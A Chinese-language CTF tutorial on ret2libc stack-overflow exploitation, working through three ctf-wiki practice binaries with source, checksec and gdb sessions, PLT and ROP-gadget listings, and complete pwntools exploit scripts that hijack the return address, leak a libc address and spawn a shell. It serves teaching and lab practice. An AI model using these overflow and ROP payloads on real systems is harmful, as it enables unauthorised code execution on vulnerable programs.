简介 ret2libc就是控制函数的执行libc中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),因此我们通常需要找到 system 函数的地址
ret2libc通常可以分为下面这几类:
* 程序中自身就含有system函数和"/bin/sh"字符串
* 程序中自身就有system函数,但是没有"/bin/sh"字符串
* 程序中自身就没有system函数和"/bin/sh"字符串,但给出了libc.so文件
* 程序中自身就没有system函数和"/bin/sh"字符串,并且没有给出libc.so文件
基本思路
不管程序没有直接给出我们需要条件,我们都要想办法找到system()函数的地址和"/bin/sh"字符串的地址;当程序中没有"/bin/sh"字符串时,我们可以利用程序中某些函数如:read,fgets,gets等函数将"/bin/sh"字符串写入bss段或某个变量中,并且要可以找到其地址;对于只给出了libc.so文件的程序,我们可以直接在libc.so文件当中去找system()函数和"/bin/sh"字符串,因为libc.so文件中也是包含这些了的;最后对于没有给出libc.so文件的程序,我们可以通过泄露出程序当中的某个函数的地址,通过查询来找出其使用lib.so版本是哪一个
我们以ctf-wiki中[例子](https://github.com/ctf-wiki/ctf- ... ckoverflow/ret2libc)来看看具体方法
---
ret2libc1
---
ret2libc1的源码#include <stdio.h>
#include <stdlib.h>
#include <time.h>
char *shell = "/bin/sh";
char buf2[100];
void secure(void)
{
int secretcode, input;
srand(time(NULL));
secretcode = rand();
scanf("%d", &input);
if(input == secretcode)
system("shell!?");
}
int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf1[100];
printf("RET2LIBC >_<\n");
gets(buf1);
return 0;
}
很明显查询当中有system()函数和"/bin/sh"字符串,并且有一个溢出漏洞
我们先看看它的保护开了哪些:
root@sir-PC:/ret2libc1# checksec ret2libc1
'/ret2libc1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
没有开Stack和PIE,所以思路非常清晰了,只需要用system()函数的plt覆盖返回地址,并且将字符串传进去就可以了
找system()函数的plt位置:
root@sir-PC:/ret2libc1# objdump -dj .plt ret2libc1
...
08048450 <puts@plt>:
8048450: ff 25 14 a0 04 08 jmp *0x804a014
8048456: 68 10 00 00 00 push $0x10
804845b: e9 c0 ff ff ff jmp 8048420 <.plt>
08048460 <system@plt>:
8048460: ff 25 18 a0 04 08 jmp *0x804a018
8048466: 68 18 00 00 00 push $0x18
804846b: e9 b0 ff ff ff jmp 8048420 <.plt>
...
找字符串的位置和多少字节溢出:
root@sir-PC:/ret2libc1# gdb ret2libc1
pwndbg: loaded 174 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ret2libc1...done.
pwndbg> b main
Breakpoint 1 at 0x8048621: file ret2libc1.c, line 21.
pwndbg> cyclic 120
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaab
pwndbg> r
pwndbg> search "/bin/sh"
ret2libc1 0x8048720 0x6e69622f /* '/bin/sh' */
ret2libc1 0x8049720 '/bin/sh' //字符串地址
libc-2.27.so 0xf7f53988 das /* '/bin/sh' */
pwndbg> c
Continuing.
RET2LIBC >_<
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaab
Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
pwndbg> cyclic -l 0x62616164
112 //溢出数
```
---
EXP1
---
from pwn import *
p = process('./ret2libc1')
context.log_level = 'debug'
system_addr = 0x08048460
binsh_addr = 0x8049720
p.recvuntil('RET2LIBC >_<\n')
p.sendline('a'*112 + p32(system_addr) + 'aaaa' + p32(binsh_addr))
p.interactive()
---
ret2libc2
---
ret2libc2的源码:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
char buf2[100];
void secure(void)
{
int secretcode, input;
srand(time(NULL));
secretcode = rand();
scanf("%d", &input);
if(input == secretcode)
system("no_shell_QQ");
}
int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf1[100];
printf("Something surprise here, but I don't think it will work.\n");
printf("What do you think ?");
gets(buf1);
return 0;
}
明显看到了system()函数,但是没有看到"/bin/sh"字符串,而且有溢出
看看保护机制:
root@sir-PC:/ret2libc2# checksec ret2libc2
'/ret2libc2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
所以现在思路也非常清晰,我们通过gest()函数向bss段或者直接是buf2中写入"/bin/sh/",然后再将其作为参数传给system()函数,其中这里要用到ROP的技术,即我们payload为:payload = flat(['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 'aaaa', buf2])
找溢出数和buf2的地址:
root@sir-PC:/ret2libc2# gdb ret2libc2
pwndbg: loaded 174 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ret2libc2...done.
pwndbg> b main
Breakpoint 1 at 0x8048651: file ret2libc.c, line 20.
pwndbg> cyclic 120
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaab
pwndbg> r
pwndbg> p &buf2
$2 = (char (*)[100]) 0x804a080 <buf2>
pwndbg> c
Continuing.
Something surprise here, but I don't think it will work.
What do you think ?aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaab
Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
pwndbg> cyclic -l 0x62616164
112
找gets()和system()函数的plt:
root@sir-PC:/ret2libc2# objdump -dj .plt ret2libc2
...
08048460 <gets@plt>:
8048460: ff 25 10 a0 04 08 jmp *0x804a010
8048466: 68 08 00 00 00 push $0x8
804846b: e9 d0 ff ff ff jmp 8048440 <.plt>
...
08048480 <puts@plt>:
8048480: ff 25 18 a0 04 08 jmp *0x804a018
8048486: 68 18 00 00 00 push $0x18
804848b: e9 b0 ff ff ff jmp 8048440 <.plt>
08048490 <system@plt>:
8048490: ff 25 1c a0 04 08 jmp *0x804a01c
8048496: 68 20 00 00 00 push $0x20
804849b: e9 a0 ff ff ff jmp 8048440 <.plt>
找合适的ROP:
root@sir-PC:/ret2libc2# ROPgadget --binary ret2libc2 --only "pop|ret"
Gadgets information
============================================================
0x0804872f : pop ebp ; ret
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret //这个就合适,因为我们只有一个数据需要pop掉
0x0804872e : pop edi ; pop ebp ; ret
0x0804872d : pop esi ; pop edi ; pop ebp ; ret
0x08048426 : ret
0x0804857e : ret 0xeac1
Unique gadgets found: 7
---
EXP2
---
from pwn import *
p = process('./ret2libc2')
buf2_addr = 0x804a080
gets_addr = 0x8048460
system_addr = 0x8048490
pop_ebx_addr = 0x0804843d
p.recvuntil('What do you think ?')
p.sendline('a'*112 + p32(gets_addr) + p32(pop_ebx_addr) + p32(buf2_addr) + p32(system_addr) + 'aaaa' + p32(buf2_addr))
p.sendline('/bin/sh\x00')
p.interactive()[pre]
或
[pre]from pwn import *
proc = './ret2libc2'
p = process(proc)
elf = ELF(proc)
rop = ROP(elf)
rop_ebx = 0x0804843d
p.sendlineafter('?','a'*112 + p32(elf.plt['gets']) + p32(rop.search(8).address) + p32(elf.bss()+0x100) + p32(elf.plt['system']) + 'aaaa' + p32(elf.bss()+0x100))
p.sendline("/bin/sh\x00")
p.interactive()[pre]
这两个exp其实都一样的,不过一个向buf2中写数据,一个在bss段写
---
ret2libc3
---
ret2libc3的源码:
[pre]#include <stdio.h>
#include <stdlib.h>
#include <time.h>
char buf2[100];
void secure(void)
{
int secretcode, input;
srand(time(NULL));
secretcode = rand();
scanf("%d", &input);
if(input == secretcode)
puts("no_shell_QQ");
}
int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf1[100];
printf("No surprise anymore, system disappeard QQ.\n");
printf("Can you find it !?");
gets(buf1);
return 0;
}
这程序当中没有system()函数和”/bin/sh“字符串,虽然给出了libc.so文件,但是我们不用,假装我们没有libc
我们还是先检查保护机制:
root@sir-PC:/ret2libc3# checksec ret2libc3
'/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
同样的没有开启Stack和PIE,所以这道题的思路就是利用puts()函数来泄露出某个函数在libc中的地址,然后在这个网站或通过LibcSearcher工具查询地址低12位来确定libc的版本这道题我是通过puts()函数将__libc_start_main在libc中的地址泄露出来,然后通过LibcSearcher去查找libc的版本,最终得到system()函数和"/bin/sh"字符串的地址
不过需要注意的,这个LibcSearcher工具找到libc版本可能有多个,需要你去判断,而且得到的字符串的地址不一定刚刚好,可能需要通过调试去验证。。。
先查看__libc_start_main的got表地址:
找puts()函数的plt表:
root@sir-PC:/ret2libc3# objdump -dj .plt ret2libc3
ret2libc3: 文件格式 elf32-i386
Disassembly of section .plt:
...
08048460 <puts@plt>:
8048460: ff 25 18 a0 04 08 jmp *0x804a018
8048466: 68 18 00 00 00 push $0x18
804846b: e9 b0 ff ff ff jmp 8048420 <.plt>
...
这里先提一下LibcSearcher的安装及其用法:
安装:
用法演示:
from LibcSearcher import *
#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("fgets", 0X7ff39014bd90)
obj.dump("system") #system 偏移
obj.dump("str_bin_sh") #/bin/sh 偏移
obj.dump("__libc_start_main_ret")
如果遇到返回多个libc版本库的情况,可以通过add_condition(leaked_func, leaked_address)来添加限制条件,也可以手工选择其中一个libc版本
---
EXP3
---
from pwn import *
from LibcSearcher import LibcSearcher
p = process('./ret2libc3')
context.log_level = 'debug'
start_addr = 0x80484d0
puts_plt_addr = 0x8048460
libc_start_main_got_addr = 0x804a024
p.recvuntil('Can you find it !?')
p.sendline('q'*112 + p32(puts_plt_addr) + p32(start_addr) + p32(libc_start_main_got_addr))
libc_start_main_addr = u32(p.recv(4))
print "__libc_start_main_addr: " + hex(libc_start_main_addr)
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh') + 0xb9
print "system_addr: " + hex(system_addr)
print "binsh_addr: " + hex(binsh_addr)
p.recvuntil('Can you find it !?')
p.sendline('s'*112 + p32(system_addr) + 'aaaa' + p32(binsh_addr))
p.interactive()
总结 这些ret2libc应该是属于ROP技术里面的基本操作,要求熟练掌握......
|